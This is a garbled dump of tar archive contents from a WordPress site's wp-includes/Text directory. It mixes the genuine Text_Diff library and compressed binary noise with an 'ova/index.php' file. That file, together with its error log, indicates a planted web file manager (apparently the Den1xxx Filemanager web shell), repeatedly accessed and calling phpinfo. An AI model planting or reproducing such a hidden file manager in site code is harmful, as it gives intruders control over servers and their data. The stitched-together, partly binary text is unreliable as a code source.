xdiff processing. */ $from_string = implode("\n", $from_lines); $to_string = implode("\n", $to_lines); /* Diff the two strings and convert the result to an array. */ $diff = xdiff_string_diff($from_string, $to_string, count($to_lines)); $diff = explode("\n", $diff); /* Walk through the diff one line at a time. We build the $edits * array of diff operations by reading the first character of the * xdiff output (which is in the "unified diff" format). * * Note that we don't have enough information to detect "changed" * lines using this approach, so we can't add Text_Diff_Op_changed * instances to the $edits array. The result is still perfectly * valid, albeit a little less descriptive and efficient. */ $edits = array(); foreach ($diff as $line) { if (!strlen($line)) { continue; } switch ($line[0]) { case ' ': $edits[] = new Text_Diff_Op_copy(array(substr($line, 1))); break; case '+': $edits[] = new Text_Diff_Op_add(array(substr($line, 1))); break; case '-': $edits[] = new Text_Diff_Op_delete(array(substr($line, 1))); break; } } return $edits; } } ova/ova.tar000064400000370000150561075210006630 0ustar00Diff.php.php.tar.gz000064400000006234150550174440010131 0ustar00[{o8OZN6[\Ҥ5A]DȒxwofHO-WlP<`/߲q؄~kN}|5~ dz*P"DFB/^D,h`i҇A?ŽoٙPB2a^ [(h FKvg\*y*S|n?i 4O?>B)CP3)G/x M57ռQ}pkHHq߅3: E#~е  "e y5$dhlr޽>~c` ifJxB M<$Dh<Å=&q5H<)b[> ^$\]e^(ŗޔB3Ì>+|͗,kpCKܳ]Q.BpXAcLg51vXGt}:j2Ez<\.Gr![!r߅0BbT4|_{t/䂇v'"~$=&7F69dd<ȥ]vR2Y4t ̙n&OQVV ǻʗZ(\ RNj("WZ&xekU:FBh]CX-&'[:2&CM5,_ ;pRMu1= )2̒XoC* <.1USK@~^61%|ֿ% mFhT "%GYtv_Mw̼fd`AW3q|8G *n9ŁM?E}linV[v3̇`:-<;A|9rb/}F#JJ@)!Q(<4Hv7q1l!XUhF~KδWutT{dr (!Bߵ/(gy@5 eš5x#Jaܯ,:Ě"&Tx ڊY 01YZ( ؉ wH3飱hXO&GGz7J.H0plN/V1^9*&[8mA"pк4Bp'a$g\ B|rAf?r?)ZC~ZwL Ui%obY9Mw7M _dǍ]2]¶ Y| 2; !SRKoQY:index.php000064400000233533150550174510006400 0ustar00nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
    '; foreach ($Errors as $value) $message .= $value.'
    '; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } Diff.php.tar000064400000035000150550174560006720 0ustar00home/eufvorrv/jigawapost.com.ng/wp-includes/Text/Diff.php000064400000031107150550165720017451 0ustar00, and is used/adapted with his permission. * * Copyright 2004 Geoffrey T. Dairiki * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_Diff { /** * Array of changes. * * @var array */ var $_edits; /** * Computes diffs between sequences of strings. * * @param string $engine Name of the diffing engine to use. 'auto' * will automatically select the best. * @param array $params Parameters to pass to the diffing engine. * Normally an array of two arrays, each * containing the lines from a file. */ function __construct( $engine, $params ) { // Backward compatibility workaround. if (!is_string($engine)) { $params = array($engine, $params); $engine = 'auto'; } if ($engine == 'auto') { $engine = extension_loaded('xdiff') ? 'xdiff' : 'native'; } else { $engine = basename($engine); } // WP #7391 require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php'; $class = 'Text_Diff_Engine_' . $engine; $diff_engine = new $class(); $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params); } /** * PHP4 constructor. */ public function Text_Diff( $engine, $params ) { self::__construct( $engine, $params ); } /** * Returns the array of differences. */ function getDiff() { return $this->_edits; } /** * returns the number of new (added) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of new lines */ function countAddedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_add') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->nfinal(); } } return $count; } /** * Returns the number of deleted (removed) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of deleted lines */ function countDeletedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_delete') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->norig(); } } return $count; } /** * Computes a reversed diff. * * Example: * * $diff = new Text_Diff($lines1, $lines2); * $rev = $diff->reverse(); * * * @return Text_Diff A Diff object representing the inverse of the * original diff. Note that we purposely don't return a * reference here, since this essentially is a clone() * method. */ function reverse() { if (version_compare(zend_version(), '2', '>')) { $rev = clone($this); } else { $rev = $this; } $rev->_edits = array(); foreach ($this->_edits as $edit) { $rev->_edits[] = $edit->reverse(); } return $rev; } /** * Checks for an empty diff. * * @return bool True if two sequences were identical. */ function isEmpty() { foreach ($this->_edits as $edit) { if (!is_a($edit, 'Text_Diff_Op_copy')) { return false; } } return true; } /** * Computes the length of the Longest Common Subsequence (LCS). * * This is mostly for diagnostic purposes. * * @return int The length of the LCS. */ function lcs() { $lcs = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_copy')) { $lcs += count($edit->orig); } } return $lcs; } /** * Gets the original set of lines. * * This reconstructs the $from_lines parameter passed to the constructor. * * @return array The original sequence of strings. */ function getOriginal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->orig) { array_splice($lines, count($lines), 0, $edit->orig); } } return $lines; } /** * Gets the final set of lines. * * This reconstructs the $to_lines parameter passed to the constructor. * * @return array The sequence of strings. */ function getFinal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->final) { array_splice($lines, count($lines), 0, $edit->final); } } return $lines; } /** * Removes trailing newlines from a line of text. This is meant to be used * with array_walk(). * * @param string $line The line to trim. * @param int $key The index of the line in the array. Not used. */ static function trimNewlines(&$line, $key) { $line = str_replace(array("\n", "\r"), '', $line); } /** * Determines the location of the system temporary directory. * * @access protected * * @return string A directory name which can be used for temp files. * Returns false if one could not be found. */ static function _getTempDir() { $tmp_locations = array('/tmp', '/var/tmp', 'c:\WUTemp', 'c:\temp', 'c:\windows\temp', 'c:\winnt\temp'); /* Try PHP's upload_tmp_dir directive. */ $tmp = ini_get('upload_tmp_dir'); /* Otherwise, try to determine the TMPDIR environment variable. */ if (!strlen($tmp)) { $tmp = getenv('TMPDIR'); } /* If we still cannot determine a value, then cycle through a list of * preset possibilities. */ while (!strlen($tmp) && count($tmp_locations)) { $tmp_check = array_shift($tmp_locations); if (@is_dir($tmp_check)) { $tmp = $tmp_check; } } /* If it is still empty, we have failed, so return false; otherwise * return the directory determined. */ return strlen($tmp) ? $tmp : false; } /** * Checks a diff for validity. * * This is here only for debugging purposes. */ function _check($from_lines, $to_lines) { if (serialize($from_lines) != serialize($this->getOriginal())) { throw new Text_Exception("Reconstructed original does not match"); } if (serialize($to_lines) != serialize($this->getFinal())) { throw new Text_Exception("Reconstructed final does not match"); } $rev = $this->reverse(); if (serialize($to_lines) != serialize($rev->getOriginal())) { throw new Text_Exception("Reversed original does not match"); } if (serialize($from_lines) != serialize($rev->getFinal())) { throw new Text_Exception("Reversed final does not match"); } $prevtype = null; foreach ($this->_edits as $edit) { if ($prevtype !== null && $edit instanceof $prevtype) { throw new Text_Exception("Edit sequence is non-optimal"); } $prevtype = get_class($edit); } return true; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_MappedDiff extends Text_Diff { /** * Computes a diff between sequences of strings. * * This can be used to compute things like case-insensitive diffs, or diffs * which ignore changes in white-space. * * @param array $from_lines An array of strings. * @param array $to_lines An array of strings. * @param array $mapped_from_lines This array should have the same size * number of elements as $from_lines. The * elements in $mapped_from_lines and * $mapped_to_lines are what is actually * compared when computing the diff. * @param array $mapped_to_lines This array should have the same number * of elements as $to_lines. */ function __construct($from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines) { assert(count($from_lines) == count($mapped_from_lines)); assert(count($to_lines) == count($mapped_to_lines)); parent::Text_Diff($mapped_from_lines, $mapped_to_lines); $xi = $yi = 0; for ($i = 0; $i < count($this->_edits); $i++) { $orig = &$this->_edits[$i]->orig; if (is_array($orig)) { $orig = array_slice($from_lines, $xi, count($orig)); $xi += count($orig); } $final = &$this->_edits[$i]->final; if (is_array($final)) { $final = array_slice($to_lines, $yi, count($final)); $yi += count($final); } } } /** * PHP4 constructor. */ public function Text_MappedDiff( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ) { self::__construct( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ); } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ abstract class Text_Diff_Op { var $orig; var $final; abstract function &reverse(); function norig() { return $this->orig ? count($this->orig) : 0; } function nfinal() { return $this->final ? count($this->final) : 0; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_copy extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final = false ) { if (!is_array($final)) { $final = $orig; } $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_copy( $orig, $final = false ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_copy($this->final, $this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_delete extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->orig = $lines; $this->final = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_delete( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_add($this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_add extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->final = $lines; $this->orig = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_add( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_delete($this->final); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_change extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final ) { $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_change( $orig, $final ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_change($this->final, $this->orig); return $reverse; } } error_log000064400000061734150550174640006503 0ustar00[29-Aug-2025 22:53:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 22:53:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 23:49:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 23:49:46 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:38:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:38:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:46:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:46:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 669 [30-Aug-2025 07:45:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:45:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:47:17 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:47:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:50:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:51:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:12:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:12:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:41 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:41 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:13 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 669 [30-Aug-2025 08:57:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 